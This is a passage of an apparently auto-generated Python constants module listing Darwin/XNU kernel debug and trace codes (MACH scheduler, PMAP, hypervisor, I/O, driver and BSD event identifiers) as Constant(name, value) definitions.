Constant('MACH_EXCLAVES_SCHEDULER_WAIT',0x3)\nMACH_EXCLAVES_SCHEDULER_WAKE = Constant('MACH_EXCLAVES_SCHEDULER_WAKE',0x4)\nMACH_EXCLAVES_SCHEDULER_SUSPENDED = Constant('MACH_EXCLAVES_SCHEDULER_SUSPENDED',0x5)\nMACH_EXCLAVES_SCHEDULER_RESUMED = Constant('MACH_EXCLAVES_SCHEDULER_RESUMED',0x6)\nMACH_EXCLAVES_SCHEDULER_INTERRUPTED = Constant('MACH_EXCLAVES_SCHEDULER_INTERRUPTED',0x7)\nMACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED = Constant('MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED',0x8)\nMACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED = Constant('MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED',0x9)\nMACH_EXCLAVES_SCHEDULER_EARLY_ALLOC = Constant('MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC',0xa)\nMACH_EPOCH_SYNC_WAIT_STALE = Constant('MACH_EPOCH_SYNC_WAIT_STALE',0x0)\nMACH_EPOCH_SYNC_WAIT = Constant('MACH_EPOCH_SYNC_WAIT',0x1)\nMACH_EPOCH_SYNC_WAKE_NO_WAITERS = Constant('MACH_EPOCH_SYNC_WAKE_NO_WAITERS',0x2)\nMACH_EPOCH_SYNC_WAKE_ONE = Constant('MACH_EPOCH_SYNC_WAKE_ONE',0x3)\nMACH_EPOCH_SYNC_WAKE_ALL = Constant('MACH_EPOCH_SYNC_WAKE_ALL',0x4)\nMACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER = Constant('MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER',0x5)\nMACH_EPOCH_SYNC_WAKE_THREAD = Constant('MACH_EPOCH_SYNC_WAKE_THREAD',0x6)\nMACH_THREAD_GROUP_NEW = Constant('MACH_THREAD_GROUP_NEW',0x0)\nMACH_THREAD_GROUP_FREE = Constant('MACH_THREAD_GROUP_FREE',0x1)\nMACH_THREAD_GROUP_SET = Constant('MACH_THREAD_GROUP_SET',0x2)\nMACH_THREAD_GROUP_NAME = Constant('MACH_THREAD_GROUP_NAME',0x3)\nMACH_THREAD_GROUP_NAME_FREE = Constant('MACH_THREAD_GROUP_NAME_FREE',0x4)\nMACH_THREAD_GROUP_FLAGS = Constant('MACH_THREAD_GROUP_FLAGS',0x5)\nMACH_THREAD_GROUP_BLOCK = Constant('MACH_THREAD_GROUP_BLOCK',0x6)\nMACH_THREAD_GROUP_PREADOPT = Constant('MACH_THREAD_GROUP_PREADOPT',0x7)\nMACH_THREAD_GROUP_PREADOPT_NEXTTIME = Constant('MACH_THREAD_GROUP_PREADOPT_NEXTTIME',0x8)\nMACH_THREAD_GROUP_PREADOPT_CLEAR = Constant('MACH_THREAD_GROUP_PREADOPT_CLEAR',0x9)\nMACH_THREAD_GROUP_PREADOPT_NA = Constant('MACH_THREAD_GROUP_PREADOPT_NA',0xa)\nMACH_COALITION_NEW = Constant('MACH_COALITION_NEW',0x0)\nMACH_COALITION_FREE = Constant('MACH_COALITION_FREE',0x1)\nMACH_COALITION_ADOPT = Constant('MACH_COALITION_ADOPT',0x2)\nMACH_COALITION_REMOVE = Constant('MACH_COALITION_REMOVE',0x3)\nMACH_COALITION_THREAD_GROUP_SET = Constant('MACH_COALITION_THREAD_GROUP_SET',0x4)\nPMAP__CREATE = Constant('PMAP__CREATE',0x0)\nPMAP__DESTROY = Constant('PMAP__DESTROY',0x1)\nPMAP__PROTECT = Constant('PMAP__PROTECT',0x2)\nPMAP__PAGE_PROTECT = Constant('PMAP__PAGE_PROTECT',0x3)\nPMAP__ENTER = Constant('PMAP__ENTER',0x4)\nPMAP__REMOVE = Constant('PMAP__REMOVE',0x5)\nPMAP__NEST = Constant('PMAP__NEST',0x6)\nPMAP__UNNEST = Constant('PMAP__UNNEST',0x7)\nPMAP__FLUSH_TLBS = Constant('PMAP__FLUSH_TLBS',0x8)\nPMAP__UPDATE_INTERRUPT = Constant('PMAP__UPDATE_INTERRUPT',0x9)\nPMAP__ATTRIBUTE_CLEAR = Constant('PMAP__ATTRIBUTE_CLEAR',0xa)\nPMAP__REUSABLE = Constant('PMAP__REUSABLE',0xb)\nPMAP__QUERY_RESIDENT = Constant('PMAP__QUERY_RESIDENT',0xc)\nPMAP__FLUSH_KERN_TLBS = Constant('PMAP__FLUSH_KERN_TLBS',0xd)\nPMAP__FLUSH_DELAYED_TLBS = Constant('PMAP__FLUSH_DELAYED_TLBS',0xe)\nPMAP__FLUSH_TLBS_TO = Constant('PMAP__FLUSH_TLBS_TO',0xf)\nPMAP__FLUSH_EPT = Constant('PMAP__FLUSH_EPT',0x10)\nPMAP__FAST_FAULT = Constant('PMAP__FAST_FAULT',0x11)\nPMAP__SWITCH = Constant('PMAP__SWITCH',0x12)\nPMAP__TTE = Constant('PMAP__TTE',0x13)\nPMAP__SWITCH_USER_TTB = Constant('PMAP__SWITCH_USER_TTB',0x14)\nPMAP__UPDATE_CACHING = Constant('PMAP__UPDATE_CACHING',0x15)\nPMAP__ATTRIBUTE_CLEAR_RANGE = Constant('PMAP__ATTRIBUTE_CLEAR_RANGE',0x16)\nPMAP__CLEAR_USER_TTB = Constant('PMAP__CLEAR_USER_TTB',0x17)\nPMAP__IOMMU_INIT = Constant('PMAP__IOMMU_INIT',0x18)\nPMAP__IOMMU_IOVMALLOC = Constant('PMAP__IOMMU_IOVMALLOC',0x19)\nPMAP__IOMMU_IOVMFREE = Constant('PMAP__IOMMU_IOVMFREE',0x1a)\nPMAP__IOMMU_MAP = Constant('PMAP__IOMMU_MAP',0x1b)\nPMAP__IOMMU_UNMAP = Constant('PMAP__IOMMU_UNMAP',0x1c)\nPMAP__IOMMU_IOCTL = Constant('PMAP__IOMMU_IOCTL',0x1d)\nPMAP__IOMMU_GRANT_PAGE = Constant('PMAP__IOMMU_GRANT_PAGE',0x1e)\nPMAP__BATCH_UPDATE_CACHING = Constant('PMAP__BATCH_UPDATE_CACHING',0x1f)\nPMAP__COLLECT_CACHE_OPS = Constant('PMAP__COLLECT_CACHE_OPS',0x20)\nMACH_EPOCH_CHANGE = Constant('MACH_EPOCH_CHANGE',0x0)\nMACH_BRIDGE_RCV_TS = Constant('MACH_BRIDGE_RCV_TS',0x1)\nMACH_BRIDGE_REMOTE_TIME = Constant('MACH_BRIDGE_REMOTE_TIME',0x2)\nMACH_BRIDGE_RESET_TS = Constant('MACH_BRIDGE_RESET_TS',0x3)\nMACH_BRIDGE_TS_PARAMS = Constant('MACH_BRIDGE_TS_PARAMS',0x4)\nMACH_BRIDGE_SKIP_TS = Constant('MACH_BRIDGE_SKIP_TS',0x5)\nMACH_BRIDGE_TS_MISMATCH = Constant('MACH_BRIDGE_TS_MISMATCH',0x6)\nMACH_BRIDGE_OBSV_RATE = Constant('MACH_BRIDGE_OBSV_RATE',0x7)\nMICROSTACKSHOT_RECORD = Constant('MICROSTACKSHOT_RECORD',0x0)\nMICROSTACKSHOT_GATHER = Constant('MICROSTACKSHOT_GATHER',0x1)\nSTACKSHOT_RECORD = Constant('STACKSHOT_RECORD',0x2)\nSTACKSHOT_RECORD_SHORT = Constant('STACKSHOT_RECORD_SHORT',0x3)\nSTACKSHOT_KERN_RECORD = Constant('STACKSHOT_KERN_RECORD',0x4)\nSYSDIAGNOSE_NOTIFY_USER = Constant('SYSDIAGNOSE_NOTIFY_USER',0x0)\nSYSDIAGNOSE_FULL = Constant('SYSDIAGNOSE_FULL',0x1)\nSYSDIAGNOSE_STACKSHOT = Constant('SYSDIAGNOSE_STACKSHOT',0x2)\nSYSDIAGNOSE_TAILSPIN = Constant('SYSDIAGNOSE_TAILSPIN',0x3)\nSFI_SET_WINDOW = Constant('SFI_SET_WINDOW',0x0)\nSFI_CANCEL_WINDOW = Constant('SFI_CANCEL_WINDOW',0x1)\nSFI_SET_CLASS_OFFTIME = Constant('SFI_SET_CLASS_OFFTIME',0x2)\nSFI_CANCEL_CLASS_OFFTIME = Constant('SFI_CANCEL_CLASS_OFFTIME',0x3)\nSFI_THREAD_DEFER = Constant('SFI_THREAD_DEFER',0x4)\nSFI_OFF_TIMER = Constant('SFI_OFF_TIMER',0x5)\nSFI_ON_TIMER = Constant('SFI_ON_TIMER',0x6)\nSFI_WAIT_CANCELED = Constant('SFI_WAIT_CANCELED',0x7)\nSFI_PID_SET_MANAGED = Constant('SFI_PID_SET_MANAGED',0x8)\nSFI_PID_CLEAR_MANAGED = Constant('SFI_PID_CLEAR_MANAGED',0x9)\nSFI_GLOBAL_DEFER = Constant('SFI_GLOBAL_DEFER',0xa)\nZALLOC_ZCRAM = Constant('ZALLOC_ZCRAM',0x0)\nRMON_ENABLE_CPUUSAGE_MONITOR = Constant('RMON_ENABLE_CPUUSAGE_MONITOR',0x001)\nRMON_CPUUSAGE_VIOLATED = Constant('RMON_CPUUSAGE_VIOLATED',0x002)\nRMON_CPUUSAGE_SUSPENDED = Constant('RMON_CPUUSAGE_SUSPENDED',0x003)\nRMON_CPUUSAGE_VIOLATED_K32A = Constant('RMON_CPUUSAGE_VIOLATED_K32A',0x004)\nRMON_CPUUSAGE_VIOLATED_K32B = Constant('RMON_CPUUSAGE_VIOLATED_K32B',0x005)\nRMON_CPUUSAGE_RESUMED = Constant('RMON_CPUUSAGE_RESUMED',0x006)\nRMON_DISABLE_CPUUSAGE_MONITOR = Constant('RMON_DISABLE_CPUUSAGE_MONITOR',0x00f)\nRMON_ENABLE_CPUWAKES_MONITOR = Constant('RMON_ENABLE_CPUWAKES_MONITOR',0x011)\nRMON_CPUWAKES_VIOLATED = Constant('RMON_CPUWAKES_VIOLATED',0x012)\nRMON_CPUWAKES_VIOLATED_K32A = Constant('RMON_CPUWAKES_VIOLATED_K32A',0x014)\nRMON_CPUWAKES_VIOLATED_K32B = Constant('RMON_CPUWAKES_VIOLATED_K32B',0x015)\nRMON_DISABLE_CPUWAKES_MONITOR = Constant('RMON_DISABLE_CPUWAKES_MONITOR',0x01f)\nRMON_ENABLE_IO_MONITOR = Constant('RMON_ENABLE_IO_MONITOR',0x021)\nRMON_LOGWRITES_VIOLATED = Constant('RMON_LOGWRITES_VIOLATED',0x022)\nRMON_PHYSWRITES_VIOLATED = Constant('RMON_PHYSWRITES_VIOLATED',0x023)\nRMON_LOGWRITES_VIOLATED_K32A = Constant('RMON_LOGWRITES_VIOLATED_K32A',0x024)\nRMON_LOGWRITES_VIOLATED_K32B = Constant('RMON_LOGWRITES_VIOLATED_K32B',0x025)\nRMON_DISABLE_IO_MONITOR = Constant('RMON_DISABLE_IO_MONITOR',0x02f)\nHV_X86_ENTER = Constant('HV_X86_ENTER',0x00)\nHV_X86_ENTER_ERROR = Constant('HV_X86_ENTER_ERROR',0x01)\nHV_X86_TRAP_TASK = Constant('HV_X86_TRAP_TASK',0x02)\nHV_X86_TRAP_THREAD = Constant('HV_X86_TRAP_THREAD',0x03)\nHV_X86_INTERRUPT_INJECT = Constant('HV_X86_INTERRUPT_INJECT',0x04)\nHV_X86_INTERRUPT_RECV = Constant('HV_X86_INTERRUPT_RECV',0x05)\nHV_X86_INTERRUPT_SEND = Constant('HV_X86_INTERRUPT_SEND',0x06)\nHV_X86_IPI_SEND = Constant('HV_X86_IPI_SEND',0x07)\nHV_X86_NMI_INJECT = Constant('HV_X86_NMI_INJECT',0x08)\nHV_X86_NMI_SEND = Constant('HV_X86_NMI_SEND',0x09)\nHV_X86_LSC_HIT = Constant('HV_X86_LSC_HIT',0x0a)\nHV_X86_LSC_INSERT = Constant('HV_X86_LSC_INSERT',0x0b)\nHV_X86_LSC_INSERT_IMM32 = Constant('HV_X86_LSC_INSERT_IMM32',0x0c)\nHV_X86_LSC_INVALID = Constant('HV_X86_LSC_INVALID',0x0d)\nHV_X86_LSC_INVALIDATE = Constant('HV_X86_LSC_INVALIDATE',0x0e)\nHV_X86_LSC_MISS = Constant('HV_X86_LSC_MISS',0x0f)\nHV_X86_TIMER_CANCEL = Constant('HV_X86_TIMER_CANCEL',0x10)\nHV_X86_TIMER_FIRE = Constant('HV_X86_TIMER_FIRE',0x11)\nHV_X86_TIMER_SCHEDULE = Constant('HV_X86_TIMER_SCHEDULE',0x12)\nHV_X86_APIC_ACCESS_EXIT = Constant('HV_X86_APIC_ACCESS_EXIT',0x13)\nHV_X86_APIC_WRITE_EXIT = Constant('HV_X86_APIC_WRITE_EXIT',0x14)\nHV_X86_EPT_VIOLATION_EXIT = Constant('HV_X86_EPT_VIOLATION_EXIT',0x15)\nHV_X86_EXC_NMI_EXIT = Constant('HV_X86_EXC_NMI_EXIT',0x16)\nHV_X86_HLT_EXIT = Constant('HV_X86_HLT_EXIT',0x17)\nHV_X86_IO_EXIT = Constant('HV_X86_IO_EXIT',0x18)\nHV_X86_IRQ_EXIT = Constant('HV_X86_IRQ_EXIT',0x19)\nHV_X86_IRQ_WND_EXIT = Constant('HV_X86_IRQ_WND_EXIT',0x1a)\nHV_X86_MOV_DR_EXIT = Constant('HV_X86_MOV_DR_EXIT',0x1b)\nHV_X86_NMI_WND_EXIT = Constant('HV_X86_NMI_WND_EXIT',0x1c)\nHV_X86_RDMSR_EXIT = Constant('HV_X86_RDMSR_EXIT',0x1d)\nHV_X86_RDPMC_EXIT = Constant('HV_X86_RDPMC_EXIT',0x1e)\nHV_X86_TPR_THRESHOLD_EXIT = Constant('HV_X86_TPR_THRESHOLD_EXIT',0x1f)\nHV_X86_VMX_TIMER_EXPIRED_EXIT = Constant('HV_X86_VMX_TIMER_EXPIRED_EXIT',0x20)\nHV_X86_WRMSR_EXIT = Constant('HV_X86_WRMSR_EXIT',0x21)\nHV_X86_VCPU_READ_APIC_TRAP = Constant('HV_X86_VCPU_READ_APIC_TRAP',0x22)\nHV_X86_VCPU_READ_VMCS_TRAP = Constant('HV_X86_VCPU_READ_VMCS_TRAP',0x23)\nHV_X86_VCPU_RUN_TRAP = Constant('HV_X86_VCPU_RUN_TRAP',0x24)\nHV_X86_VCPU_RUN_UNTIL_TRAP = Constant('HV_X86_VCPU_RUN_UNTIL_TRAP',0x25)\nHV_X86_VCPU_WRITE_APIC_TRAP = Constant('HV_X86_VCPU_WRITE_APIC_TRAP',0x26)\nHV_X86_VM_ADDRSPACE_CREATE_TRAP = Constant('HV_X86_VM_ADDRSPACE_CREATE_TRAP',0x27)\nHV_X86_VM_ADDRSPACE_DESTROY_TRAP = Constant('HV_X86_VM_ADDRSPACE_DESTROY_TRAP',0x28)\nHV_X86_VM_INTR_MSI_TRAP = Constant('HV_X86_VM_INTR_MSI_TRAP',0x29)\nHV_X86_VM_MAP_TRAP = Constant('HV_X86_VM_MAP_TRAP',0x2a)\nHV_X86_VM_PROTECT_TRAP = Constant('HV_X86_VM_PROTECT_TRAP',0x2b)\nHV_X86_VM_UNMAP_TRAP = Constant('HV_X86_VM_UNMAP_TRAP',0x2c)\nHV_X86_TSC_OFFSET_SET = Constant('HV_X86_TSC_OFFSET_SET',0x2d)\nVM_RECLAIM_UPDATE_ACCOUNTING = Constant('VM_RECLAIM_UPDATE_ACCOUNTING',0x01)\nVM_RECLAIM_ENTRIES = Constant('VM_RECLAIM_ENTRIES',0x02)\nVM_RECLAIM_CHUNK = Constant('VM_RECLAIM_CHUNK',0x03)\nVM_RECLAIM_ENTRY = Constant('VM_RECLAIM_ENTRY',0x04)\nVM_RECLAIM_ALL_MEMORY = Constant('VM_RECLAIM_ALL_MEMORY',0x05)\nVM_RECLAIM_ASYNC_MEMORY = Constant('VM_RECLAIM_ASYNC_MEMORY',0x06)\nVM_RECLAIM_INIT = Constant('VM_RECLAIM_INIT',0x07)\nDBG_NETIP = Constant('DBG_NETIP',1)\nDBG_NETARP = Constant('DBG_NETARP',2)\nDBG_NETUDP = Constant('DBG_NETUDP',3)\nDBG_NETTCP = Constant('DBG_NETTCP',4)\nDBG_NETICMP = Constant('DBG_NETICMP',5)\nDBG_NETIGMP = Constant('DBG_NETIGMP',6)\nDBG_NETRIP = Constant('DBG_NETRIP',7)\nDBG_NETOSPF = Constant('DBG_NETOSPF',8)\nDBG_NETISIS = Constant('DBG_NETISIS',9)\nDBG_NETSNMP = Constant('DBG_NETSNMP',10)\nDBG_NETSOCK = Constant('DBG_NETSOCK',11)\nDBG_NETAARP = Constant('DBG_NETAARP',100)\nDBG_NETDDP = Constant('DBG_NETDDP',101)\nDBG_NETNBP = Constant('DBG_NETNBP',102)\nDBG_NETZIP = Constant('DBG_NETZIP',103)\nDBG_NETADSP = Constant('DBG_NETADSP',104)\nDBG_NETATP = Constant('DBG_NETATP',105)\nDBG_NETASP = Constant('DBG_NETASP',106)\nDBG_NETAFP = Constant('DBG_NETAFP',107)\nDBG_NETRTMP = Constant('DBG_NETRTMP',108)\nDBG_NETAURP = Constant('DBG_NETAURP',109)\nDBG_NETIPSEC = Constant('DBG_NETIPSEC',128)\nDBG_NETVMNET = Constant('DBG_NETVMNET',129)\nDBG_IOINTC = Constant('DBG_IOINTC',0)\nDBG_IOWORKLOOP = Constant('DBG_IOWORKLOOP',1)\nDBG_IOINTES = Constant('DBG_IOINTES',2)\nDBG_IOCLKES = Constant('DBG_IOCLKES',3)\nDBG_IOCMDQ = Constant('DBG_IOCMDQ',4)\nDBG_IOMCURS = Constant('DBG_IOMCURS',5)\nDBG_IOMDESC = Constant('DBG_IOMDESC',6)\nDBG_IOPOWER = Constant('DBG_IOPOWER',7)\nDBG_IOSERVICE = Constant('DBG_IOSERVICE',8)\nDBG_IOREGISTRY = Constant('DBG_IOREGISTRY',9)\nDBG_IOPORT = Constant('DBG_IOPORT',10)\nDBG_IOSTORAGE = Constant('DBG_IOSTORAGE',32)\nDBG_IONETWORK = Constant('DBG_IONETWORK',33)\nDBG_IOKEYBOARD = Constant('DBG_IOKEYBOARD',34)\nDBG_IOHID = Constant('DBG_IOHID',35)\nDBG_IOAUDIO = Constant('DBG_IOAUDIO',36)\nDBG_IOSERIAL = Constant('DBG_IOSERIAL',37)\nDBG_IOTTY = Constant('DBG_IOTTY',38)\nDBG_IOSAM = Constant('DBG_IOSAM',39)\nDBG_IOPARALLELATA = Constant('DBG_IOPARALLELATA',40)\nDBG_IOPARALLELSCSI = Constant('DBG_IOPARALLELSCSI',41)\nDBG_IOSATA = Constant('DBG_IOSATA',42)\nDBG_IOSAS = Constant('DBG_IOSAS',43)\nDBG_IOFIBRECHANNEL = Constant('DBG_IOFIBRECHANNEL',44)\nDBG_IOUSB = Constant('DBG_IOUSB',45)\nDBG_IOBLUETOOTH = Constant('DBG_IOBLUETOOTH',46)\nDBG_IOFIREWIRE = Constant('DBG_IOFIREWIRE',47)\nDBG_IOINFINIBAND = Constant('DBG_IOINFINIBAND',48)\nDBG_IOCPUPM = Constant('DBG_IOCPUPM',49)\nDBG_IOGRAPHICS = Constant('DBG_IOGRAPHICS',50)\nDBG_HIBERNATE = Constant('DBG_HIBERNATE',51)\nDBG_IOTHUNDERBOLT = Constant('DBG_IOTHUNDERBOLT',52)\nDBG_BOOTER = Constant('DBG_BOOTER',53)\nDBG_IOAUDIO2 = Constant('DBG_IOAUDIO2',54)\nDBG_IOAFK = Constant('DBG_IOAFK',55)\nDBG_IOSURFACEPA = Constant('DBG_IOSURFACEPA',64)\nDBG_IOMDPA = Constant('DBG_IOMDPA',65)\nDBG_IODARTPA = Constant('DBG_IODARTPA',66)\nDBG_DRVSTORAGE = Constant('DBG_DRVSTORAGE',1)\nDBG_DRVNETWORK = Constant('DBG_DRVNETWORK',2)\nDBG_DRVKEYBOARD = Constant('DBG_DRVKEYBOARD',3)\nDBG_DRVHID = Constant('DBG_DRVHID',4)\nDBG_DRVAUDIO = Constant('DBG_DRVAUDIO',5)\nDBG_DRVSERIAL = Constant('DBG_DRVSERIAL',7)\nDBG_DRVSAM = Constant('DBG_DRVSAM',8)\nDBG_DRVPARALLELATA = Constant('DBG_DRVPARALLELATA',9)\nDBG_DRVPARALLELSCSI = Constant('DBG_DRVPARALLELSCSI',10)\nDBG_DRVSATA = Constant('DBG_DRVSATA',11)\nDBG_DRVSAS = Constant('DBG_DRVSAS',12)\nDBG_DRVFIBRECHANNEL = Constant('DBG_DRVFIBRECHANNEL',13)\nDBG_DRVUSB = Constant('DBG_DRVUSB',14)\nDBG_DRVBLUETOOTH = Constant('DBG_DRVBLUETOOTH',15)\nDBG_DRVFIREWIRE = Constant('DBG_DRVFIREWIRE',16)\nDBG_DRVINFINIBAND = Constant('DBG_DRVINFINIBAND',17)\nDBG_DRVGRAPHICS = Constant('DBG_DRVGRAPHICS',18)\nDBG_DRVSD = Constant('DBG_DRVSD',19)\nDBG_DRVNAND = Constant('DBG_DRVNAND',20)\nDBG_SSD = Constant('DBG_SSD',21)\nDBG_DRVSPI = Constant('DBG_DRVSPI',22)\nDBG_DRVWLAN_802_11 = Constant('DBG_DRVWLAN_802_11',23)\nDBG_DRVSSM = Constant('DBG_DRVSSM',24)\nDBG_DRVSMC = Constant('DBG_DRVSMC',25)\nDBG_DRVMACEFIMANAGER = Constant('DBG_DRVMACEFIMANAGER',26)\nDBG_DRVANE = Constant('DBG_DRVANE',27)\nDBG_DRVETHERNET = Constant('DBG_DRVETHERNET',28)\nDBG_DRVMCC = Constant('DBG_DRVMCC',29)\nDBG_DRVACCESSORY = Constant('DBG_DRVACCESSORY',30)\nDBG_SOCDIAGS = Constant('DBG_SOCDIAGS',31)\nDBG_DRVVIRTIO = Constant('DBG_DRVVIRTIO',32)\nDBG_DRVCELLULAR = Constant('DBG_DRVCELLULAR',33)\nDBG_DRVSPMI = Constant('DBG_DRVSPMI',34)\nDBG_DLIL_STATIC = Constant('DBG_DLIL_STATIC',1)\nDBG_DLIL_PR_MOD = Constant('DBG_DLIL_PR_MOD',2)\nDBG_DLIL_IF_MOD = Constant('DBG_DLIL_IF_MOD',3)\nDBG_DLIL_PR_FLT = Constant('DBG_DLIL_PR_FLT',4)\nDBG_DLIL_IF_FLT = Constant('DBG_DLIL_IF_FLT',5)\nDBG_FSRW = Constant('DBG_FSRW',0x1)\nDBG_DKRW = Constant('DBG_DKRW',0x2)\nDBG_FSVN = Constant('DBG_FSVN',0x3)\nDBG_FSLOOOKUP = Constant('DBG_FSLOOOKUP',0x4)\nDBG_JOURNAL = Constant('DBG_JOURNAL',0x5)\nDBG_IOCTL = Constant('DBG_IOCTL',0x6)\nDBG_BOOTCACHE = Constant('DBG_BOOTCACHE',0x7)\nDBG_HFS = Constant('DBG_HFS',0x8)\nDBG_APFS = Constant('DBG_APFS',0x9)\nDBG_SMB = Constant('DBG_SMB',0xA)\nDBG_MOUNT = Constant('DBG_MOUNT',0xB)\nDBG_EXFAT = Constant('DBG_EXFAT',0xE)\nDBG_MSDOS = Constant('DBG_MSDOS',0xF)\nDBG_ACFS = Constant('DBG_ACFS',0x10)\nDBG_THROTTLE = Constant('DBG_THROTTLE',0x11)\nDBG_DECMP = Constant('DBG_DECMP',0x12)\nDBG_VFS = Constant('DBG_VFS',0x13)\nDBG_LIVEFS = Constant('DBG_LIVEFS',0x14)\nDBG_NFS = Constant('DBG_NFS',0x15)\nDBG_CONTENT_PROT = Constant('DBG_CONTENT_PROT',0xCF)\nDBG_HFS_UPDATE_ACCTIME = Constant('DBG_HFS_UPDATE_ACCTIME',0x01)\nDBG_HFS_UPDATE_MODTIME = Constant('DBG_HFS_UPDATE_MODTIME',0x02)\nDBG_HFS_UPDATE_CHGTIME = Constant('DBG_HFS_UPDATE_CHGTIME',0x04)\nDBG_HFS_UPDATE_MODIFIED = Constant('DBG_HFS_UPDATE_MODIFIED',0x08)\nDBG_HFS_UPDATE_FORCE = Constant('DBG_HFS_UPDATE_FORCE',0x10)\nDBG_HFS_UPDATE_DATEADDED = Constant('DBG_HFS_UPDATE_DATEADDED',0x20)\nDBG_HFS_UPDATE_MINOR = Constant('DBG_HFS_UPDATE_MINOR',0x40)\nDBG_HFS_UPDATE_SKIPPED = Constant('DBG_HFS_UPDATE_SKIPPED',0x80)\nDBG_VFS_IO_COMPRESSION_STATS = Constant('DBG_VFS_IO_COMPRESSION_STATS',0x1000)\nDBG_BSD_PROC = Constant('DBG_BSD_PROC',0x01)\nDBG_BSD_MEMSTAT = Constant('DBG_BSD_MEMSTAT',0x02)\nDBG_BSD_KEVENT = Constant('DBG_BSD_KEVENT',0x03)\nDBG_BSD_EXCP_SC = Constant('DBG_BSD_EXCP_SC',0x0C)\nDBG_BSD_AIO = Constant('DBG_BSD_AIO',0x0D)\nDBG_BSD_SC_EXTENDED_INFO = Constant('DBG_BSD_SC_EXTENDED_INFO',0x0E)\nDBG_BSD_SC_EXTENDED_INFO2 = Constant('DBG_BSD_SC_EXTENDED_INFO2',0x0F)\nDBG_BSD_KDEBUG_TEST = Constant('DBG_BSD_KDEBUG_TEST',0xFF)\nBSD_PROC_EXIT = Constant('BSD_PROC_EXIT',1)\nBSD_PROC_FRCEXIT = Constant('BSD_PROC_FRCEXIT',2)\nBSD_PROC_EXEC = Constant('BSD_PROC_EXEC',3)\nBSD_PROC_EXITREASON_CREATE = Constant('BSD_PROC_EXITREASON_CREATE',4)\nBSD_PROC_EXITREASON_COMMIT = Constant('BSD_PROC_EXITREASON_COMMIT',5)\nBSD_MEMSTAT_SCAN = Constant('BSD_MEMSTAT_SCAN',1)\nBSD_MEMSTAT_JETSAM = Constant('BSD_MEMSTAT_JETSAM',2)\nBSD_MEMSTAT_JETSAM_HIWAT = Constant('BSD_MEMSTAT_JETSAM_HIWAT',3)\nBSD_MEMSTAT_FREEZE = Constant('BSD_MEMSTAT_FREEZE',4)\nBSD_MEMSTAT_FREEZE_SCAN = Constant('BSD_MEMSTAT_FREEZE_SCAN',5)\nBSD_MEMSTAT_UPDATE = Constant('BSD_MEMSTAT_UPDATE',6)\nBSD_MEMSTAT_IDLE_DEMOTE = Constant('BSD_MEMSTAT_IDLE_DEMOTE',7)\nBSD_MEMSTAT_CLEAR_ERRORS = Constant('BSD_MEMSTAT_CLEAR_ERRORS',8)\nBSD_MEMSTAT_DIRTY_TRACK = Constant('BSD_MEMSTAT_DIRTY_TRACK',9)\nBSD_MEMSTAT_DIRTY_SET = Constant('BSD_MEMSTAT_DIRTY_SET',10)\nBSD_MEMSTAT_DIRTY_CLEAR = Constant('BSD_MEMSTAT_DIRTY_CLEAR',11)\nBSD_MEMSTAT_FAST_JETSAM = Constant('BSD_MEMSTAT_FAST_JETSAM',15)\nBSD_MEMSTAT_COMPACTOR_RUN = Constant('BSD_MEMSTAT_COMPACTOR_RUN',16)\nBSD_MEMSTAT_FREEZE_DISABLE = Constant('BSD_MEMSTAT_FREEZE_DISABLE',17)\nBSD_MEMSTAT_RELAUNCH_FLAGS = Constant('BSD_MEMSTAT_RELAUNCH_FLAGS',18)\nBSD_KEVENT_KQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQ_PROCESS_BEGIN',1)\nBSD_KEVENT_KQ_PROCESS_END = Constant('BSD_KEVENT_KQ_PROCESS_END',2)\nBSD_KEVENT_KQWQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWQ_PROCESS_BEGIN',3)\nBSD_KEVENT_KQWQ_PROCESS_END = Constant('BSD_KEVENT_KQWQ_PROCESS_END',4)\nBSD_KEVENT_KQWQ_BIND = Constant('BSD_KEVENT_KQWQ_BIND',5)\nBSD_KEVENT_KQWQ_UNBIND = Constant('BSD_KEVENT_KQWQ_UNBIND',6)\nBSD_KEVENT_KQWQ_THREQUEST = Constant('BSD_KEVENT_KQWQ_THREQUEST',7)\nBSD_KEVENT_KQWL_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWL_PROCESS_BEGIN',8)\nBSD_KEVENT_KQWL_PROCESS_END = Constant('BSD_KEVENT_KQWL_PROCESS_END',9)\nBSD_KEVENT_KQWL_THREQUEST = Constant('BSD_KEVENT_KQWL_THREQUEST',10)\nBSD_KEVENT_KQWL_THADJUST = Constant('BSD_KEVENT_KQWL_THADJUST',11)\nBSD_KEVENT_KQ_REGISTER = Constant('BSD_KEVENT_KQ_REGISTER',12)\nBSD_KEVENT_KQWQ_REGISTER = Constant('BSD_KEVENT_KQWQ_REGISTER',13)\nBSD_KEVENT_KQWL_REGISTER = Constant('BSD_KEVENT_KQWL_REGISTER',14)\nBSD_KEVENT_KNOTE_ACTIVATE = Constant('BSD_KEVENT_KNOTE_ACTIVATE',15)\nBSD_KEVENT_KQ_PROCESS = Constant('BSD_KEVENT_KQ_PROCESS',16)\nBSD_KEVENT_KQWQ_PROCESS = Constant('BSD_KEVENT_KQWQ_PROCESS',17)\nBSD_KEVENT_KQWL_PROCESS = Constant('BSD_KEVENT_KQWL_PROCESS',18)\nBSD_KEVENT_KQWL_BIND = Constant('BSD_KEVENT_KQWL_BIND',19)\nBSD_KEVENT_KQWL_UNBIND = Constant('BSD_KEVENT_KQWL_UNBIND',20)\nBSD_KEVENT_KNOTE_ENABLE = Constant('BSD_KEVENT_KNOTE_ENABLE',21)\nBSD_KEVENT_KNOTE_VANISHED = Constant('BSD_KEVENT_KNOTE_VANISHED',22)\nDBG_TRACE_DATA = Constant('DBG_TRACE_DATA',0)\nDBG_TRACE_STRING = Constant('DBG_TRACE_STRING',1)\nDBG_TRACE_INFO = Constant('DBG_TRACE_INFO',2)\nDBG_CS_IO = Constant('DBG_CS_IO',0)\nDBG_SEC_KERNEL = Constant('DBG_SEC_KERNEL',0)\nDBG_SEC_SANDBOX = Constant('DBG_SEC_SANDBOX',1)\nDBG_MT_INSTRS_CYCLES = Constant('DBG_MT_INSTRS_CYCLES',1)\nDBG_MT_DEBUG = Constant('DBG_MT_DEBUG',2)\nDBG_MT_RESOURCES_PROC_EXIT = 